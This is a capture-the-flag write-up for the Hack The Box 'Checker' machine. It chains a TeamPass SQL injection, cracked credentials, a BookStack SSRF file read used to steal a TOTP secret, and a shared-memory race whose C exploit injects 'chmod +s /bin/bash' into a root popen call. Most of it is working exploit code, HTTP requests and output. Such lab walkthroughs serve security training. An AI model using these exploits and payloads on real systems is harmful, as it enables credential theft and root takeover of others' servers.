HTB - Checker

Enumeration:

Nmap

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-23 09:44 EST
Nmap scan report for 10.129.231.241
Host is up (0.025s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-title: 403 Forbidden
|_http-server-header: Apache
8080/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT      ADDRESS
1   24.61 ms 10.10.14.1
2   25.06 ms 10.129.231.241

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.62 seconds

User exploit

The web application running on port 80 is BookStack. Since we don’t have credentials for now, let’s move on.

http://checker.htb/login

alt text

The web application running on port 8080 is Teampass.

alt text

TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way by sharing them among team members.

Searching online, we can find a CVE about a SQL injection in the version 3.0.10 or higher.

https://security.snyk.io/vuln/SNYK-PHP-NILSTEAMPASSNETTEAMPASS-3367612

Exploiting this vulnerability is possible via the TeamPass /authorize API endpoint through the login field.

Running the script against Teampass, we get credential for two users

# Command
./teampass_sqli.sh http://vault.checker.htb:8080

# Output
There are 2 users in the system:
admin: $2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy

# Cracking the hash with hashcat
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader

alt text

Inside the Teampass, we find credential for:

  • A password to authenticate to the Bookstack bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rD
  • An ssh access reader:hiccup-publicly-genesis

When trying to authenticate with SSH, we can see that we need a Verification Code

# Command
ssh reader@checker.htb

# Output
(reader@checker.htb) Password: 
(reader@checker.htb) Verification code: 

We need to find a way to get the OTP for the user.

Going back on the BookStack instance, we now have credentials to login.

alt text

We have a good understanding of what we should do next. Find a LFI vulnerability on this web application to get the OTP key to generate a valid OTP.

We find this blog online, saying we can get SSRF on the software

https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack

https://fluidattacks.com/advisories/imagination

A server-side request forgery (SSRF) vulnerability has been identified in Book Stack that, under certain conditions, could allow an attacker to obtain local files from the server.

At the end of the blogpost you find this information

Summarizing, with a simple modification of the script php_filter_chains_oracle_exploit we can use the technique to filter the content of any file on the server.

Let’s use the tool made by Synacktiv to get file read.

https://github.com/synacktiv/php_filter_chains_oracle_exploit

In the end, what you have to modify from the source code is this part in the requestor.py file. It basically change the output payload to match the exploit of BookStack explained in the blog post.

# Original code
    """
    Returns the response of a request defined with all options
    """
[...]
filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
# DEBUG print(filter_chain)
merged_data = self.parse_parameter(filter_chain)
# Make the request, the verb and data encoding is defined
try:

# Modified code
filter_chain = f'php://filter/{s}{self.in_chain}/resource={self.file_to_leak}'
# DEBUG print(filter_chain)
filter_chain = base64.b64encode(filter_chain.encode()).decode()
filter_chain = f"html=<img+src='data:image/png;base64,{filter_chain}'/>"
merged_data = filter_chain
#merged_data = self.parse_parameter(filter_chain)
# Make the request, the verb and data encoding is defined
try:
    if self.verb == Verb.GET:
        requ = self.session.get(self.target, params=merged_data)
        return requ
    elif self.verb == Verb.PUT:
        if self.json_input: 
            requ = self.session.put(self.target, json=merged_data)
        else:

You can do a quick sanity check manually to make sure it’s working

# base64 encoded payload
aHR0cDovLzEwLjEwLjE0LjYvaW1hZ2UucG5n --> http://10.10.14.6/image.png

# Request
PUT /ajax/page/12/save-draft HTTP/1.1
Host: checker.htb
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
X-CSRF-TOKEN: B4vJUeG5hvK7ek0aKC41fFFdPjITMMvdwHECPOz2
Content-type: application/x-www-form-urlencoded
Cookie: XSRF-TOKEN=eyJpdiI6IkdTZExpa2NVYWN4eDhBd0pnM3dIdUE9PSIsInZhbHVlIjoiVTU5V3FLZG1CZXpQVjBZYzZxN3d4bzZCMWM1Z0JrL3V6cFQ2RHdEK0RDR1VkYTQ3UGQvaXZjdWd4ZVowN0JoQnBNb0w1Z3FmWFBJN3dyVHQvM3ByV1kzeXQ5QnRyMkJDVG51YUZta2VKYnVubk5FY1FqQm9McVE3Z1VjdzVXRDkiLCJtYWMiOiI0MDk2ZDc3ZWRkYjczMDc1NjJhMWU1NWU1Y2ViYWU4YzljNGU1MTY5YTM2ZjQxZTE4MTQzMTEyMTllNGE4ZDhjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6IjA0Y2MzbzRCclJzck1ySmpGdDNxRkE9PSIsInZhbHVlIjoiRWdyS0pJRXh3RExSMkVSbjlUZnFtRjBrNC9kZHFwMEg5SEsvRXpWbHJndkc4QlZsTkJoZTY1bkxzK3k5VUtQOTFCTzB2NTNjRmFveEdXakVqWkhJZUhSTE1LcmRSK3ZUb0kwZytqY0I0UCtrU3ZuUTVxOCtNcFE5Yk1ibEVmeFkiLCJtYWMiOiJhYzdjODVmZTBkZmYxNTJjY2MzMmE4MmJiYzUxNmM0MmI0YzQwZDg2MzRlM2ZlZWI2YmYzZDI3MDE4MzVhZmZkIiwidGFnIjoiIn0%3D
Content-Length: 76

html=<img+src='data:image/png;base64,aHR0cDovLzEwLjEwLjE0LjYvaW1hZ2UucG5n'/>

# Response
nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.6] from (UNKNOWN) [10.129.231.241] 56380
GET /image.png HTTP/1.1
Host: 10.10.14.6
Connection: close
Accept-language: en
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

With the gadget

# Command
python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/12/save-draft'  --file '/etc/passwd' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"B4vJUeG5hvK7ek0aKC41fFFdPjITMMvdwHECPOz2", "Content-type":"application/x-www-form-urlencoded", "Cookie":"bookstack_session=eyJpdiI6IjA0Y2MzbzRCclJzck1ySmpGdDNxRkE9PSIsInZhbHVlIjoiRWdyS0pJRXh3RExSMkVSbjlUZnFtRjBrNC9kZHFwMEg5SEsvRXpWbHJndkc4QlZsTkJoZTY1bkxzK3k5VUtQOTFCTzB2NTNjRmFveEdXakVqWkhJZUhSTE1LcmRSK3ZUb0kwZytqY0I0UCtrU3ZuUTVxOCtNcFE5Yk1ibEVmeFkiLCJtYWMiOiJhYzdjODVmZTBkZmYxNTJjY2MzMmE4MmJiYzUxNmM0MmI0YzQwZDg2MzRlM2ZlZWI2YmYzZDI3MDE4MzVhZmZkIiwidGFnIjoiIn0%3D"}'

# Output                   
[*] The following URL is targeted : http://checker.htb/ajax/page/12/save-draft
[*] The following local file is leaked : /etc/passwd
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN":"B4vJUeG5hvK7ek0aKC41fFFdPjITMMvdwHECPOz2", "Content-type":"application/x-www-form-urlencoded", "Cookie":"bookstack_session=eyJpdiI6IjA0Y2MzbzRCclJzck1ySmpGdDNxRkE9PSIsInZhbHVlIjoiRWdyS0pJRXh3RExSMkVSbjlUZnFtRjBrNC9kZHFwMEg5SEsvRXpWbHJndkc4QlZsTkJoZTY1bkxzK3k5VUtQOTFCTzB2NTNjRmFveEdXakVqWkhJZUhSTE1LcmRSK3ZUb0kwZytqY0I0UCtrU3ZuUTVxOCtNcFE5Yk1ibEVmeFkiLCJtYWMiOiJhYzdjODVmZTBkZmYxNTJjY2MzMmE4MmJiYzUxNmM0MmI0YzQwZDg2MzRlM2ZlZWI2YmYzZDI3MDE4MzVhZmZkIiwidGFnIjoiIn0%3D"}
[-] File /etc/passwd is either empty, or the exploit did not work :(
[*] Auto fallback to time based attack
[*] The following URL is targeted : http://checker.htb/ajax/page/12/save-draft
[*] The following local file is leaked : /etc/passwd
[+] File /etc/passwd leak is finished!
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTA3OjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnJlYWRlcjp4OjEwMDA6MTAwMDo6L2hvbWUvcmVhZGVyOi9iaW4vYmFzaApteXNxbDp4OjEwODoxMTQ6TXlTUUwgU2VydmVyLCwsOi9ub25leGlzdGVudDovYmluL2ZhbHNlCl9sYXVyZWw6eDo5OTk6OTk5OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxz
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:104::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\npollinate:x:105:1::/var/cache/pollinate:/bin/false\nsshd:x:106:65534::/run/sshd:/usr/sbin/nologin\nusbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nreader:x:1000:1000::/home/reader:/bin/bash\nmysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false\n_laurel:x:999:999::/var/log/laurel:/bin/fals'

alt text

In the previous screenshot which you can find inside the BookStack application while looking at the different notes, the creator of the Checker box purposely leaks how to make a safe backup script. The backup will end in /backup/home_backup. Since we know that there is a user reader and that the OTP configuration from Google Authenticator PAM is by default configured inside the .google_authenticator file in the home repo of the user, we can easily get it.

Get the file needed

# Command
python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/12/save-draft' --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"B4vJUeG5hvK7ek0aKC41fFFdPjITMMvdwHECPOz2", "Content-type":"application/x-www-form-urlencoded", "Cookie":"bookstack_session=eyJpdiI6IjA0Y2MzbzRCclJzck1ySmpGdDNxRkE9PSIsInZhbHVlIjoiRWdyS0pJRXh3RExSMkVSbjlUZnFtRjBrNC9kZHFwMEg5SEsvRXpWbHJndkc4QlZsTkJoZTY1bkxzK3k5VUtQOTFCTzB2NTNjRmFveEdXakVqWkhJZUhSTE1LcmRSK3ZUb0kwZytqY0I0UCtrU3ZuUTVxOCtNcFE5Yk1ibEVmeFkiLCJtYWMiOiJhYzdjODVmZTBkZmYxNTJjY2MzMmE4MmJiYzUxNmM0MmI0YzQwZDg2MzRlM2ZlZWI2YmYzZDI3MDE4MzVhZmZkIiwidGFnIjoiIn0%3D"}' --file '/backup/home_backup/home/reader/.google_authenticator'

# Output
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'

Using this code inside any authenticator app, you get the 2FA code.

We can now login with the reader@checker.htb account and get the flag.

Root exploit

As reader we can see that we can run a script with root privilege

reader@checker:/opt/hash-checker$ sudo -l
Matching Defaults entries for reader on checker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *

Let’s find the content of the file

#!/bin/bash
source `dirname $0`/.env # source the env from the current directory
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]') # Remove non alphanumerical char: ex @
/opt/hash-checker/check_leak "$USER_NAME" # send the username to the binary

Let’s download the binary check_leak to analyze it with Ghidra

The main function in Ghidra are the following

  • Binary check_leak
    • main function

    • Validate that the length of the username is 20 chars max

    • fetch_hash_from_db is fetching the hash of the user from a MySQL and make sure it exists

    • check_bcrypt_in_file is comparing the hash with the content of the file leaked_hashes.txt

    • If the hash is in it, it will put the content into shared memory space and go into the next function which is notify_user

      email_user_to_notify = write_to_shm(bcrypt_hash);
              printf("Using the shared memory 0x%X as temp location\\n",(ulong)email_user_to_notify);
      
    • The notify_user makes a couple of validation before running a command based of the content in the shared memory space.

    • The payload in the shm must start with Leaked hash detected >;

    • You end up here, and get code execution with the popen command

else {
    snprintf(bool_result,(long)(iVar2 + 1),
                "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"% s\"\'"
                ,DB_USER,DB_NAME,user_pass);
    __stream = popen(bool_result,"r");

Using the following script, we can achieve our goal

# Build the script
gcc exploit.c 

# Run in loop
while true; do ./a.out ; done;

# Trigger the check-leak.sh
sudo /opt/hash-checker/check-leak.sh bob

# Get root
/bin/bash -p

Version #1

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <sys/shm.h>

int main() {
    srand(time(NULL));
    int seed = rand();
    printf("Seed: %d\n", seed);
    int shmid = shmget(seed % 0xfffff,0x400, IPC_CREAT | 0x3b6);
    if(shmid==-1) {
        printf("shmget error\n");
        return -1;
    }

    char *shmaddr = shmat(shmid, NULL, 0);
    if(shmaddr == (char *)-1) {
        perror("shmat");
        return -1;
    }
    
    snprintf(shmaddr, 0x400, "Leaked hash detected at Mon Feb 24 14:11:34 2025 > ';chmod +s /bin/bash;#");
    time_t writetime = time(NULL);
    printf("Reading from shared memory at %ld (ID=%d) %s\n", writetime, shmid, shmaddr);

    if(shmdt(shmaddr) == -1) {
        perror("shmdt");
        return -1;
    }
    return 0;
}

Resources:

HyperlinkInfo
https://security.snyk.io/vuln/SNYK-PHP-NILSTEAMPASSNETTEAMPASS-3367612Teampass CVE-2023-1545
https://fluidattacks.com/advisories/imagination/ (CVE-2023-6199)CVE-2023-6199
https://fluidattacks.com/blog/lfr-via-blind-ssrf-book-stack/LFR BookStack
https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oraclePHP Filter chains explained
https://github.com/synacktiv/php_filter_chains_oracle_exploitphp_filter_chains_oracle_exploit repo